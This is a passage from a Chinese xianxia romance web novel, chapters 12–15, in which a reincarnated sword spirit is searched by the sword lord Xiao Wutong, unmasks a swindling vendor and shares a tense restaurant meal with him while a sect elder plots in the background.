玉枝淮有时候也分不清萧无桐到底是假意还是真情,他本以为萧无桐是为了地位,才纵容他、教导他那么多年。
玉枝淮以为他是厌恶的,可梦铃里,为何他竟然怀念那段时光?
“真是奇怪。”玉枝淮叹气一声。
不过再奇怪也不能阻碍他现在要做的事。
夜深人静,正适合用铃铛回溯半个月里发生的事,也不会被人打扰。
玉枝淮右手拿起梦铃,左手抬起并起食指与中指,指尖浮出冰蓝色的光,略微干涩的唇瓣微微一张,几句古怪的、像异族口音的声音传出。
梦铃轻轻一摇,房间里顿时泛起大量的乌黑魔气,渐渐汇聚成一幅幅画面——
“小玉小玉,快看看我给你带来了什么?”先是计清徽乐呵呵地跑了进来,身后跟着拿着托盘的侍女。
而靠在桌边正在拿着一个书卷读得如痴如醉的人闻言也抬起头来。
看见他一抬头,身处回溯之外的玉枝淮诧异得咦了一声。
世人都说秦品玉和他相像,但他仔细一看,却觉得气质很不一样。
秦品玉身上有一种书卷气,抬头时是平静的
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,像一潭无法波动的死水,那双乌黑的眼眸尤其平静,声音也淡淡的:“少宗主,你怎么来了?”
计清徽挥退不少侍女,只留下端盘的一个女孩,然后掀开了上面的红布,露出了那颗漂亮的坠子。
女孩笑容十分僵硬,不像是人,倒像木偶。玉枝淮看到她托盘下的手指甲在疯长。
但屋内剩下的两人却没发现。
“多谢少宗主抬爱,但我不能收。”秦品玉一边拒绝,一边将托盘推回去。
挣扎之间,他摸到了那女孩长长的手指甲,还有一枚紫色戒指套在手指上,秦品玉愕然抬头——
女孩古怪地笑了一下,被魔气覆盖的双手深深刺向秦品玉,声音沙哑:“倒是一副好皮囊,可惜,只有一……”
计清徽:“啊啊啊啊鬼啊!!!”
他虽是个傻子,但很会叫人,只一声尖叫,侍从们就从外面冲了进来。
女孩在原地化为一滩黑水,消失了。
众人安抚着受惊的计清徽,却没人注意到秦品玉的背后泛起浅浅乌黑。
有魔虫从内而外,透出了身形,而后又收了回去,消失不见了,就好像方才那女孩只是为了来唤醒它们。
梦铃在此瞬间止住,回溯结束,玉枝淮睁开双眼,外头正传来脚步声,弟子们房里的灯一盏盏地亮起。
有人来了!
玉枝淮急忙收起梦铃,闪身而至床前,把鞋子两脚蹬掉,上了床。
巧合的是,他刚闭上眼,外面就响起了急促的敲门声。
“开门!!!”
“清幽阁失窃,清徽宗协助剑尊调查!”
“开门——”
玉枝淮:“……”
豹猫:“不会吧?真被发现了?!”
玉枝淮抬手扯下耳坠,丢给豹猫,“你先把它叼走,我拖住萧无桐。”
豹猫叼着梦铃,嗖的一下闪没影了。
也正是此时,大门被蓦地推开,刹那间数十道灯盏照亮房中,一道人影从人群中缓步而入,众人纷纷为他让开一条路。
萧无桐一袭黑袍,面色阴鸷,负手而立,手中捏着长鞭,指节上爆出青筋,显然将某种情绪压抑到了极点。
玉枝淮见状,在心里哟了一声。
站起来了?他还以为萧无桐白天坐轮椅是伤到哪儿了呢。
“剑尊大人何故夜半闯入我的房间?”他支着脑袋,抬头看着那张俊秀冷漠的脸,笑眯眯道:“要知道我是你弟弟未过门的妻子……您这样,不太好吧?”
众人闻言僵住,心底满是震惊,面上却半分不显,只是用眼神彼此交流着。
什么?!他们竟然还有这一层关系在?
萧无桐摩挲着手中长鞭,仿佛在思考什么。
玉枝淮其实有点拿不准他心里的想法,毕竟多年未见了,不过他还记得萧无桐最讨厌没规没矩的人。
于是,他猝然起身,站在了萧无桐面前,伸出手探到萧无桐颈边,笑嘻嘻道:“怎么不说话呢?……大哥。”
两人的距离在这一瞬只有咫尺之遥,萧无桐蓦然抬手掐住他下巴——
玉枝淮猝不及防被他扯住腰带,衣衫都乱了,心跳骤然快了起来。
众人:“!!!!”
12. 搜身
他的手在做什么?
玉枝淮有那么一瞬间是茫然的,那只带着薄茧的手放弃了捏他的下巴,转而拉住了他的腰带,几乎将他整个人都抓进了怀里。
萧无桐生得高大,衣袍纷飞,众人只看得到他忽然把玉枝淮拉进怀里,尽管这动作很常见,可落在他身上,就变得古怪了。
清徽宗门风开放,嚼舌根的多,纵容弟子自由言论的也多,不像寻常世家繁文缛节能列出大几千条,是以,有人开始用眼神交流——
“他们在干嘛?!”
“一个是兄长,一个是弟媳,这这这有辱斯文……”
“没过门的也能叫弟媳?”
“等会儿,咱们不是来搜查失窃的东西吗?”
是啊。玉枝淮悲哀地想,不是来搜查失窃的东西吗?怎么变成解他腰带了?他抬起头,看着萧无桐,他张了张唇,想开口说点什么,却好半天都没说出话来。
萧无桐那双漆黑的眼睛里仿佛是荒野上的静谧夜色,有猛兽潜藏其中,生生看得他浑身泛起凉意。
“是不是你?”忽然,仿佛最后给人一次机会般,萧无桐很轻地问,漆黑的双眸慢慢眯成一条富有攻击性的线。
深夜的房间里点了熏炉,极为暖和,可玉枝淮在他的眼神下,后背上却硬生生被看出一层冷汗,仍然强撑道:“当然不是我了,我方才可是在睡觉,怎么会去大人房里偷东西呢?要不,你搜搜身?”
说完,他作势解开衣衫……
暗数三秒过后,臆想中的叫停声迟迟没传来,玉枝淮动作一僵,抬头盯萧无桐。
萧无桐的目光慢条斯理的往下顺势一看——
人在休息时往往不会穿得厚重,怀中的少年一袭月白长袍,一外衫、一里衣,松松垮垮的露出大片单薄胸膛,衣衫轻解时,仿佛传来了一点残留的桃花香。
暧昧,勾人。
忽然,众人只觉得眼前一黑,回过神来时已经被纷纷甩出房间。
萧无桐喉结微动,松开了他的腰封,抬手攥住玉枝淮下颌,“脱啊,怎么不脱了,不是要本座搜身?”
玉枝淮:“……”萧无桐你变了。
玉枝淮咬咬牙,合住衣衫,低头看向萧无桐还拿着鞭子的手,“你的手太脏了,还是别碰我了。”
萧无桐低笑一声。
刹那间玉枝淮心里冒出一个不好的预感,直觉告诉他不要——
果然,仿佛整个人都被吸入潮湿的海域,只见房中瞬间变得阴冷,一棵巨大的梧桐树自萧无桐身后显现,那树叶竟是血玉为枝干,那些枝叶张牙舞爪、奔涌而向玉枝淮的方向——!!
玉枝淮下意识一躲,退回床榻边,看着眼前这堪称诡异的一幕。
仙者总会择道,无情道、本心道、枯荣道、修罗道……择道者生道心、塑道境。
而这血玉梧桐……便是萧无桐的道境——「无桐心」,他修的是一地生则一地死的枯荣道,就像守护阴墟、看管魔渊一样。入此境者,就等于入了萧无桐的地盘,若非自身实力强劲突破出去,就只能打败萧无桐才能出去了。
“无桐心之玉乃玄级冰玉,”萧无桐淡淡抬眼,唇边露出个嗜血的笑,“这总不脏了吧?”
对敌时,血色枝叶会猝不及防带着灵力扎穿敌人,然后又生出新的玉枝。
死的人越多,他这棵树也就越黑。
玉枝淮犹记得上一次看见这树的时候还是红玉,这一次竟然已浓重如墨色。
萧无桐这些年是杀了多少魔族,还是杀了仙族?
玉枝淮看着那爬向自己的枝叶,觉得自己有点玩大了。
“……那我还是自己脱吧!”玉枝淮哈哈一笑,动作麻利的解开外衣。
都是大男人,看看倒没什么不得了的。
萧无桐收回道境,淡淡的看着他解外衣,目光缓慢地从上而下逡巡而过——
解到里衣时,萧无桐忽然开口:“我来。”
玉枝淮:“……?”
玉枝淮神色古怪起来,还没来得及拒绝,那只手已经放在了自己手臂上。
房间里有种诡异的气氛弥漫在二人中间,渐渐的玉枝淮也不想着说点什么了,他只觉得耳根滚烫,什么也不敢看、不想看,索性闭上了眼睛。
却不知这和猎物主动送上门没有什么区别。
那只手按在了他的侧颈上,点过了手臂,落到腰间……
玉枝淮什么也看不到,只觉得被点过的地方都泛起滚烫热度……
等察觉到他的手已经摸到脚踝,玉枝淮终于在心底轻呼一口气,问:“够了吗?有没有你要的东西?”
答案显而易见。
萧无桐收回手,深深的瞥了他一眼。
玉枝淮被他摸得总觉得哪里都乱七八糟的,不敢多言,待他离开后才又回到了床榻上。
……怎么会这么奇怪?!玉枝淮把脑袋埋在枕头里,心中仿佛有个小人在尖叫。
为什么萧无桐现在这么奇怪,为什么他被萧无桐摸几下就这么奇怪?!
于是,豹猫回来时就见到玉枝淮顶着个苹果脑袋埋在被子里,那模样简直像是生了什么病。
“你怎么了?!”豹猫担心的用爪子刨了刨他。
玉枝淮直接扯过被子将整个人都盖住,不搭理它。
豹猫:“?”
它没来得及细问,被窝里的玉枝淮又伸出一只手,把它扯进去抱着睡了。
房间归于寂静,玉枝淮陷入了黑甜的梦乡,丝毫不知道一场针对自己的阴谋正在暗处袭来——
清徽宗中,长老堂。
宗中一殿二宫七堂,分别是宗族中的议事正殿,计清徽父子所住的宫殿,以及七位长老所在的地方。
朴长老是个阵修,负责守山大阵,在宗中地位不凡,并兼戒律长老一职。
姜铭学其实是有点畏惧这个姑爷爷的,他母族那时势力强大,还没没落,他便随了母姓,为此他姑爷爷一脉往下、连带着他爷爷都不喜欢他,这一次他也没想到自己竟然会被朴长老所救。
他以为自己连夜前来会见到朴长老,却没想到迈入内堂后,只看到一个坐在屏风后的曼妙身影。
透过幽微烛光,姜铭学觉得那是一个女人,可那人开口后,听起来不男不女:
“秦品玉和以前,有不同了吗?”
姜铭学跪在地上,闻言呆了呆,“姑爷爷,您这是什么意思?”
“废话少说,回答我的问题。”那声音陡然变得严厉。<
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p>姜铭学心下大喜,他本以为姑爷爷是来责怪他的,没想到却只问了这些不痛不痒的话,当即滔滔不绝的把剑窟之事都说了一通。
最后还隐隐有些愤愤不平:“计清徽一定给了秦品玉什么宝物,否则他不可能从那里全身而退。”
屏风后面的人似乎讥笑了一下,才问:“你是说你们最后出来的时候,你感觉自己没有意识?”
姜铭学仔细想了想,疯狂点头。
“退下吧,好孩子。”那人淡淡地挥了挥手。
姜铭学有点大胆,他想了想,继续说:“姑爷爷,你觉得计清徽和秦品玉的婚事,能成吗?”
这似乎又是意料之外了,那人的声音有些诧异:“婚事?”
随即,屏风后面似乎传来了龟甲甩动的声音,像是在占卜。
“不能。”
姜铭学得了这个答案,高兴得爬了起来,连道几声谢,才离开长老堂。
长老堂外风声浮动,他正准备用术法闪身离开时,天际涌起不祥的雷声,划过几道树状闪电,看着是要下雨了。
雨声淅淅沥沥一夜。
玉枝淮前半夜做了个美梦,后半夜是个噩梦,梦到自己被封进剑棺,什么也看不见,只有锤钉的声音响起,伴随着一道严厉的尖喝——
“你命已定!你命已定!”
“你们必死无疑!”
砰。
剑身落入火炉之中,还有什么叮铃、叮铃的声音落下。玉枝淮猝然惊醒,敏锐的察觉身旁有人,当即扭头一看,计清徽那个傻子在他旁边摇拨浪鼓。
“……”玉枝淮无奈扶额,被强行叫醒的他起床气显然很足,没好气地道:“再摇我就把你切了喂狗……上外边玩去。”
即使是个傻子也能听出这其中的不悦,但计清徽显然不是寻常傻子,闻言不仅不生气,他收了拨浪鼓,咬着手指,高高兴兴的说:“诶,小玉小玉!你是小玉!”
玉枝淮:“……”说的什么玩意儿?
“你来我房间做什么?”
这等基本的对话计清徽还是能听懂的,当即乐滋滋的挽着他的手臂,“爹让我来的!他说你要陪我去长兴街!后天就出发去鸿门!”
长兴街是个贩卖各种灵器的市集,清徽宗主显然是想让他带着计清徽去买鸿门大比所用之物。
玉枝淮觉得自己有点像是奶妈,明明他都没有奶。
“哦!”
那就别怪他狠狠的坑清徽宗主的钱包一把了!
“不过,小玉,你脖子上是什么?”计清徽疑惑的戳了戳玉枝淮侧颈上的红印,“虫子咬的吗?”
玉枝淮低头一看,顿时觉得不妙。
那的确是魔虫印记,是之前那些咬他的虫留下的,而时之音说过,当这些虫印变深,就意味着将到月圆之夜,他要开始出现被万虫咬心的痛苦了。
玉枝淮闭眼,这下真的完了!!!
可他目前还没有找到能用的药材,那就意味着只能让天生克制魔物的萧家血帮他暂时抵御痛苦……
玉枝淮忽然看向计清徽,“少宗主,你说,你突然爬到萧无桐面前,抱着他的大腿说自己是他的粉丝,想要他的一滴血,他会给你吗?”
计清徽:“我吗?”
13. 张唇探出粉嫩的舌
话虽如此,玉枝淮觉得他被一脚踹飞出去比较快,长叹口气,拍拍他肩:“罢了,当我没说——走吧,你不是要去长兴街?”
计清徽却若有所思地看着他,咬着指头道:“感觉小玉很信任萧无桐呢。”
玉枝淮一顿,心说那可不是嘛,毕竟是剑和剑主,如果他都不信任萧无桐,问天剑如何为萧无桐所用?
然而计清徽接下来这句话却让玉枝淮差点吐出一口鲜血——
“像我爹爹信任娘亲一样!”
玉枝淮惊愕得瞪大眼睛,“你爹娘那是夫妻,我和萧无桐是……是兄长和弟媳!”
计清徽挠挠头,“哦。”
玉枝淮见状也不责备他了,幽幽叹气,心想:这人果然是傻子。
……
昨夜刚下过雨,长兴街上却被施了防雨术,滴雨不沾,依旧人来人往。
摊子上密密麻麻地摆放着各色法宝,偶有修士路过挑拣,而药阁外则有弟子拿着流光溢彩的玉瓶,向人推销内里药丸。
挂了牌的珍兽苑里,有几只圆肚皮绿小鸡走着走着没影了,也有赤色双翼马站在屋檐下吃青苔。
金丹以下的修士尚未修成辟谷之道,是以此街还有几家酒楼,有三两弟子结队而入。
豹猫站在玉枝淮肩头,疑惑地望着这一切:“他们这怎么把法宝当白菜卖?”
玉枝淮嗤笑了下,“你看看他们卖的法宝是什么等级?”
豹猫定睛一看,恍然大悟。
灵兽虽然挂了个灵字,却并不代表它珍贵,修士们自有判断方法,他们将灵兽、法宝、秘境……都划出了三六九等。
凡级、玄级、圣级、祖级,譬如问天剑即是祖级仙剑,剑窟中最次也是圣级。
长兴街中,玉枝淮只瞟了一眼,就知道这里的大多东西没超过圣级,偶有几件圣级,都价格不菲。
不过玉枝淮不是来买这些的——
“你怎么往酒楼去了?!”豹猫挠他,“不许喝酒!”
玉枝淮:“嘘,聒噪的小猫得不到酒喝!”
“你不管那傻子啦?!”豹猫立刻尖叫,“他要被骗得连摇裤儿都不剩了!”
玉枝淮迈入酒楼的脚收回半步,扭头一看,计清徽被珍兽苑的圆肚皮绿鸡吸引了,低头和鸡玩,而那掌柜正笑眯眯的瞅着他,眼神宛若在看一只待宰的羔羊。
玉枝淮:“……”
不好!他的钱包!
玉枝淮当即飞奔过去,小辫子都急得翘起来了。
豹猫:“诶喂你慢点——”
“他们为什么见到我,就过来得这么快?”计清徽疑惑的看着地里的鸡,小绿鸡们叽叽叽的跑过来黏在他脚边,它们身上的羽毛亮晶晶的,漂亮至极。
计清徽想,这东西拔下来给小玉做鞋!他一定会喜欢!
小鸡们显然不知道眼前人类的邪恶想法,乖巧地用自己的脑袋去蹭计清徽的手心。
掌柜的一看差不多了,清嗓道,“少宗主玩得可还满意?要不要买几只回去?很便宜的,一只只要3000金币!接受划卡!”
仙族发展多年,也出了不少管理钱财的地方,以灵力为传送媒介,可将金币划去别人账户。
计清徽:“好!”
说罢掏出一张泛着黑金光的玄卡,正要递给掌柜——
“听我一言!”玉枝淮转瞬而至,夺下玄卡,瞪着计清徽,“不许买!”
玉枝淮今天穿了身绯衣雪衬的长袍,额间挂着蓝坠,瞪人的样子也极为可爱,计清徽看着他,心里不由自主地软了,轻言细语的问:“为什么?”
玉枝淮叉腰,“你再买,这破掌柜走两步怀里的金砖都掉出来了——几只染色小鸡卖这么贵,天理难容!”
掌柜闻言不悦,眯起眼睛:“阁下是——”
玉枝淮:“你管我?!”
“这位‘你管我’修士,你凭什么说我的鸡是染色的?”掌柜提起小鸡,凉凉的看着他。
计清徽:“?”
玉枝淮:“???”
玉枝淮万万没想到世间竟有如此厚颜无耻之人,被人拆穿了竟不承认,当即指尖一点天上阵法——
咔擦一声,天上的防雨阵破了个洞,无根之水淅沥而下,小鸡集体变成灰扑扑的土色。
计清徽:“……”
“敢在清徽宗地盘骗人家的少宗主,”玉枝淮修好防雨咒,笑眯眯的看着他,“掌柜,你是不是该交点封口费呢?”
短短几息,掌柜的神情就变得乖顺了,他看出眼前的人不好惹,当即掏出一张大额银币,心说自己今天真是踢上铁板了,这又是谁家小公子微服私访,竟知道江家造出的防雨符如何破。
他道:“小小心意不成敬意,还望江小公子海涵。”
玉枝淮收了银币,忽然察觉不对,江小公子?等等,是江彻宇造的防雨符吗?!
“他为何叫你江小公子?”两人离开店铺后,计清徽勾着玉枝淮的手问。
玉枝淮低头一看,总觉得他俩这姿势像是下一秒就要去采蘑菇了。只不过蘑菇还没采到,他们先去了做蘑菇的店。
“可能他认错人了吧——走,我们去酒楼!”
迎仙酒楼是世间最大的酒楼,开了不少分店,听说此地掌柜是个毫无法力的凡人,凭着一手好厨艺在此立足,足以见其手艺妙处。
连玉枝淮前世都听说过这个名字。
他早就想来尝尝这里的食物,也和萧无桐说了好多次,可萧无桐不许他出阴墟,说剑灵和剑离开太远,会对魔渊有影响。
玉枝淮只好作罢,后来听人说了他才知道,其实根本就没什么影响,只是萧无桐不喜欢让他出去结交好友。
玉枝淮闻言生出逆反之心,当即跑出去,不仅游遍天南地北,还不告诉萧无桐。
等到萧无桐反应过来时,勃然大怒,不远千里赶去玉虚海——
那时玉虚海是极尽奢靡的珍珠海,漫天流萤纷飞,海上船只不断,玉枝淮倒在船上,看着漫天星河,浩瀚银河如同一幅漂亮画卷。
没多久,这幅美好画卷被一道天火焚毁,海底生出红色梧桐枝叶——
玉枝淮一僵,还没来得及抬头,一道黑袍身影闪身而至,抓住了他的下巴,抵住了他的脸——
“玉枝淮,我有没有说过不要乱跑?”萧无桐和他抵着鼻尖,彼此的面颊紧贴着,语气冰冷无情:“……你又听不懂人话了是吗?”
玉枝淮被他掐得有点疼了,蓝色的双眼中浮现一点水
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雾,却没哭,只是轻笑一声,张唇探出粉嫩的舌尖——
那里有一颗樱桃。
“萧无桐……你要尝尝吗?听说这是迎仙楼的招牌,粉雪樱桃,你也没吃过吧?”
他的语气又轻又勾人,像是经年烈酒,萧无桐闻言瞳孔骤缩,却没有搭理他,只是启动剑咒,把他带回萧家。
他们之间的关系也就此破裂——
“小玉,要点粉雪樱桃吗?”迎仙酒楼中,计清徽拍了拍旁边托着脸的玉枝淮。
玉枝淮回过神来,低头看了一下菜单,有点沉默。
粉雪樱桃八百币、糖醋排骨四百三十币、八珍鸡六百币、铁板牛肉两千币……为什么这么多年过去,这些菜都翻了个倍?贵得他都不舍得坑计清徽这个外人了!
玉枝淮扶住额头,看到一个二十币的炒白玉豆腐,还有花生,顿时点了点。
“我要这个……”
计清徽看了一眼,震惊了,刚想说你怎么就吃这个!——下一秒,玉枝淮点了壶五百币的雪域萄莓酒,又给计清徽弄了几个普通菜,合计花费一千八百币。
小二见状,瞠目结舌:“酒配豆腐吗?”
玉枝淮托着下巴点点头。
迎仙楼能开这么多年,显然很会待人,小二没有多话,也没有不屑,只是拿着单子离开了。
楼中有说书人,又开始讲问天剑灵被带出剑窟的故事,这戏显然常常被排,是个不会出错的戏,众人都听得开开心心。
连计清徽看起来都听得津津有味,也不知到底听懂没有。
玉枝淮上次听过一次也没能免疫,这次还是听得起了一层层鸡皮疙瘩,索性捂着耳朵不闻不问。
直到台下说书人忽然叫了一声,大喜:“感谢天字号房送来的五千币打赏!”
玉枝淮:“?”
是谁出手那么大方?
玉枝淮有点困惑地抬头,没看清天字号房是谁,倒是见到了一个头顶白玉冠的少年。
“你们在这里就吃这个?”少年抱臂而立,身边围着一群党羽,神色略带厌嫌,“装秽物的东西也吃?”
桌上是八珍鸡、糖醋排骨、爆炒肥肠和一道炒青菜,以及一盘豆腐。这些菜两个人吃,绰绰有余,而且玉枝淮记得计清徽喜欢吃肠类。
玉枝淮一脸困惑,“你谁?”
“哈?连我也不记得了?秦品玉,你还真是贵人多忘事,和傻子待久了把自己也变傻了不成!”那少年高声叫道。
计清徽一愣,呆呆地看着面前的少年,眼神里出现了一抹伤心。
玉枝淮想了想,终于从记忆里翻出这个人,这是隔壁宗的某个小少主,计清徽以前没有傻的时候,和他是好朋友,现在是……敌人。
玉枝淮神色一冷,漆黑的双瞳里慢慢泛起蓝色,刹那间那少年的神色立刻也变呆了,仿佛被什么蛊惑,竟然走向了高台边——
这可是五楼!
“客官!您的菜又来咧!”忽然,小二乐呵呵的声音打断了玉枝淮的神思,也拯救了那倒霉少年。
玉枝淮扭头一看,侍菜的侍者们鱼贯而入,一一将菜置于桌上,竟然都是玉枝淮喜欢的。
玉枝淮脑袋上冒出个小小的“?”
谁送的?
14. 该死的肌肉记忆
玉枝淮方才那一瞬间的阴鸷快得像是人的错觉。
计清徽愣愣地看着他,十分确信,那抹阴鸷的确存在过。
方才那找茬的人也好似如梦初醒,后背竟然出了厚厚的一层冷汗,他猛然扭头看向桌边——
玉枝淮的笑容仿佛春日梨花般甜,看向那些端菜的侍者,好像什么也没发生过,“我们没点这么多菜吧?”
“是这位修士点的,他说,你忘了带上他了。”
侍者们纷纷转身,让出一列来,竟然是萧无桐。他又坐在那轮椅上,身后跟着左右二名仙侍。
那张脸几乎是人尽皆知的,方才找事的几名修士纷纷变了脸色。
“弟媳怎么这么看着我?”萧无桐忽然开了口,那张俊秀阴翳的面庞上竟罕见地出现一点柔和——至少旁观者都是这么认为的。
玉枝淮:“……”突然感觉想吃的菜也不是那么美味了!
那几名修士则像不怕死一般,目光在两人中间游移。
萧无桐淡淡扭头,冷声道:“还不滚?”
然而那几人又怎么敢随意离开,带头找事的那个满面羞愤地抱拳,“剑尊饶命!我们不知剑尊也在此用餐!更、更不知秦品玉是您弟媳,还请剑尊高抬贵手。”
阴墟萧家如今已权势滔天,到了这位置上,各家子弟代表的都不是个人,而是家族。
传闻中,多年前萧无桐因别人背后随意诋毁他几句,择日就让獬豸门翻了旧案,从此那家族也在修真界中一落千丈,销声匿迹了。
萧无桐:“别让本座说第三遍——滚。”
几人急忙连滚带爬地跑了,计清徽看着昔日好友远去的背影,有些闷闷不乐的想:为什么他没有朋友了呢?
而玉枝淮看着面前的一幕,察觉了那些人离开时的恐惧竟是真实的,心底立刻大为震惊。
……他怎么感觉这么多年过去,萧无桐越来越凶残了?
明明那时候不是这样,那时候只是些许控制欲,如今看来倒像个魔头。
该说不愧是反派吗?玉枝淮偷偷瞥了他一眼。
不曾想,萧无桐是何等敏锐,迅速察觉了他这个小动作,挑眉道:“弟媳站着做什么?”
不知为何,玉枝淮被他这一口一个弟媳叫得有些慌乱,但他向来是个天塌了也要笑的性子,当即笑嘻嘻地坐下来,“还是兄长会疼人啊,那我就不客气了。”
这话本是托辞,萧无桐闻言双瞳中却生出一点玩味,“哦?意思是我弟弟不会疼人了?”
玉枝淮夹糖醋里脊的筷子瞬间顿住,总觉得自己好像被调戏了:“……”
这种话,从萧无桐嘴里说出来,怎么看都很怪啊。
桌上有一道被捏成小虎模样的桂花点心,计清徽捡起一个啃了,夹在二人中间,看看这个,看看那个,觉得好好玩。
“……倒也不是,”玉枝淮一时间不知道他这是不是在试探自己,谨慎地说:“他也挺好的。”
这几日他问了外界萧无桐和辛计侜之间的兄弟关系是怎么回事,得到的答案是辛计侜十年前突然生了一场大病,算命的说他需要拜在萧无桐名下才能保住性命。
辛家人历尽千辛万苦,拿出无数好东西喂了阴墟,这才得了这兄弟名号,让辛计侜迁去阴墟。
至于二人的兄弟情谊是塑料还是真有感情,那就仁者见仁,智者见智了。
玉枝淮自知不会真嫁给辛计侜,但没解开婚约前,表面功夫还是要装一装。
没曾想,他的回应却好像惹了萧无桐不快,他眉目间原本的柔和消失不见,转为如同深海海域般阴冷的东西。
玉枝淮眼见终于把他噎没声了,唇角微勾,拿过筷子大快朵颐起来。
虽然这顿饭吃得是如坐针毡,不过,即使在这种情况下,也仍然能尝出这些菜的肉鲜味美,可见大厨手艺的确不错。
“这道不尝尝?”忽然,萧无桐抬手,指尖轻轻点了桌边——
晶莹如玉的玉盘上盛着一块巴掌大小的白粉色点心,顶尖缀了两颗小樱桃。
迎仙楼的招牌,粉雪樱桃。
玉枝淮咳了一下,本能促使他看向了萧无桐——他现在真要怀疑,这人是不是已经认出自己了?
如果是,他为什么不提出来?
萧无桐不慌不忙地和他对视,像是有点难得的愉悦,“怎么?”
“我不喜欢吃甜点心。”玉枝淮忍痛割爱,内心流下两行宽面条泪。
呜呜,小樱桃,我对不起你TvT
房里的气氛一瞬之间再度阴冷下来,萧无桐冷笑一声,忽然扭头看向他,道:“——是不是别人给你你就愿意,我给,就不行?”
玉枝淮懵了下,眨了眨眼,不太明白。
不过是一块甜点罢了,萧无桐怎么能从这里面看出这么多东西的?
“你说的这个别人是谁?”玉枝淮感到莫名其妙,“辛计侜吗?”
萧无桐冷冷地看着他,神情好似一个被抛弃多年的丈夫。
莫名被他看得更心虚了,玉枝淮端起那盘小点心,一口一口地吃了,吃着吃着,他习以为常似的,某种肌肉记忆令他挑起一小块递在了萧无桐的嘴边。
“……!!
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!”
房间里不只剩了他们三人,还有萧无桐的侍卫也一直在,见状,纷纷惊讶地瞪大了眼睛,万万没想到此人竟然如此大胆!
而玉枝淮也在这动作中僵住了。
反应过来的他整个人都要烧着了,一股莫名的炙热从耳根蔓延至脸皮——
他刚才在干什么?!
卧槽,他如今不是那个小剑灵,他现在为什么也要这样投喂萧无桐?!
惨了惨了。肯定要被一巴掌扇飞出去了。
玉枝淮提前闭上了眼睛,已经想好了晚上该怎么样让豹猫悄无声息地去偷药材治伤重难愈的自己……
然而他臆想中的一切,都没有发生。
他闭着眼睛,听力却因此变得更为敏锐……
几乎是瞬间,他便察觉到,自己手中递出去的勺子动了。
玉枝淮呆了呆,猛地睁开眼睛。
——萧无桐居然纡尊降贵地吃了!
他今天果然是没睡醒吧?!玉枝淮急忙收回手,“兄长,我失礼了!”
然而萧无桐看起来却好像不再恼怒了,连计清徽这个傻子都察觉到房间里没有那么冷了。
“确实不错。”萧无桐不知何意味地来了一句,那双漆黑的眼睛,就那样意味不明地扫过了玉枝淮的脸,仿佛在说他秀色可餐。
房间的侧面开了一扇大窗,原本是为了方便客人们听戏的,此刻,有说书人的声音从楼下戏台上传来……
还在演那出剑灵的戏。
不知念到了什么,竟吊起嗓子来了些悲悲切切的腔调,听起来哀怨极了。
玉枝淮:“………”
所以萧无桐其实才应该是被夺舍了的那一个吧?!!
堂堂剑尊,名满天下,一直以来都厌烦毫无规矩的人,更别提那些想借机攀关系的。
可他为什么会对秦品玉这么好,连亲手喂他吃东西都愿意吃?!还有那辛计侜……到底是靠什么才留在了萧家的?
难道之前他们还有他不知道的渊源?
玉枝淮心里想了一通乱七八糟的事,而萧无桐看上去却心满意足地带着人走了。
房间里陷入一时寂静。
计清徽也不知道发生了什么,只知道接下来玉枝淮帮他挑灵器的时候看上去心不在焉的,这种状态一直到回清徽宗了都没好。
让计清徽想起来自己今天听到的一个词——
“失魂落魄!”
“小玉,你怎么失魂落魄的呀?”计清徽拽着他的袖子问。
玉枝淮堪堪回神,喃喃道:“凭什么啊……”
15. 喂药
凭什么当时他喂给萧无桐,萧无桐不吃。
现在喂反而就吃了???玉枝淮百思不得其解。
“他怎么……他怎么能吃别人给他的饭?”玉枝淮喃喃着,有种说不清道不明的情绪在这一刻占据心扉。
计清徽听了半天没听懂,又拽了拽玉枝淮的袖子,“小玉,你到底怎么了?”
玉枝淮终于回过神来,而后才发现计清徽看上去有些沮丧。
“你才是,到底怎么了?”
计清徽见玉枝淮终于注意到他了,神色顿时开心起来,可没多久又变得沮丧,他看着玉枝淮,“小玉,傻子是不是不配活在这个世界上?”
他和今天那个人曾经是很好的朋友,可现在,他只有小玉这个朋友了。
不知哪句话戳中了玉枝淮的神经,他瞳孔忽然骤缩,眼眸里面又泛起蓝色,呼吸也微微急促,声音变得有些艰涩:“……不是。”
计清徽垂眸,“我真的给爹添了很多麻烦,给你也是。”
玉枝淮张了张唇,拍了拍他的肩,“我自己都没说什么,你担心什么?”
计清徽抬头看着他,像是有些不信:“真的?”
天色已经晚了,月亮爬上夜幕,清徽宗下是人间万家灯火。
“……真的。”玉枝淮垂眸,盖住眼中所有神色,拳头却微微握紧,“世界是所有人的,谁都没有资格让某一个人遵定命运去死。”
他拍了下计清徽,笑道:“很晚了,回去休息吧,明天出发去鸿门大比。”
计清徽感觉他的笑宛若天际月光,不由自主地在那张脸上看了好一会,谁曾想,看着看着,玉枝淮浑身摇晃了一下,脸色倏然苍白。
等等,怎么又晕?玉枝淮努力地甩了甩脑袋,眼前泛起一阵阵的黑,他想抬头看那月光,却忽然发现不知不觉中,那月亮已经圆了。
“……”
该死的魔虫!
玉枝淮失去了最后的意识,倒了下去。
……
清徽宗,静宁宫。
宫作为宗主居住的正殿,此处高耸入云,金光环绕,祥云绕殿。
宫中气氛却有些阴冷。
大抵是因为某个煞神在的缘故。
清徽宗主轻咳一声,摸着胡子看向不远处坐在客位的萧无桐,“不知尊主这一日探查魔虫可有下落?”
逐客之意,已溢于言表。
萧无桐漫不经心地抬起眼皮,“贵宗朴长老是什么来路。”
清徽宗主心里咯噔一声,想起某个传言,又想起一步天剑窟所发生之事。
想到此处,清徽宗主谨慎又委婉地说:“大人还是不要以公谋私,朴长老乃是我宗驻宗长老。”
萧无桐眉头微挑。
站在他身后的萧澜出口了,这厮看上去是个脾气火爆的:“宗主说的这是什么话?我们尊主怎会以公徇私?他问话,你答便是。”
清徽宗主想了想,“朴长老一百年前就在宗中了,他是个器修,宗中许多弟子的灵器都出自他手……他有什么问题吗?”
萧无桐:“本尊听闻他常常闭关,是从什么时候开始的?”
清徽宗主闻言一愣,皱着眉头说:“好像是从五十多年前?他说前些年为我宗中炼制灵器,大伤根本,便不常出现在人前了。”
“他和姜铭学关系不错?”萧无桐又问。
清徽宗主闻言顿住,露出一个果然如此的眼神。
这几天外界开始流传新话本,都道秦品玉长得像那亡故的小剑灵,过几天酒楼中的本子应当也会换了。
……所以这果然是在给秦品玉找场子吧?!
萧无桐有些不耐烦:“回话。”
作为晚辈,他其实不该如此和长辈说话,奈何实力过人,便底气十足。
清徽宗主当即答道:“不好。”
萧无桐闻言若有所思。
一步天时,他本欲将姜铭学严惩,但朴长老却用了道遥远的传音印,让其饶他一命,愿将八千灵器送往阴墟。
萧无桐允了。
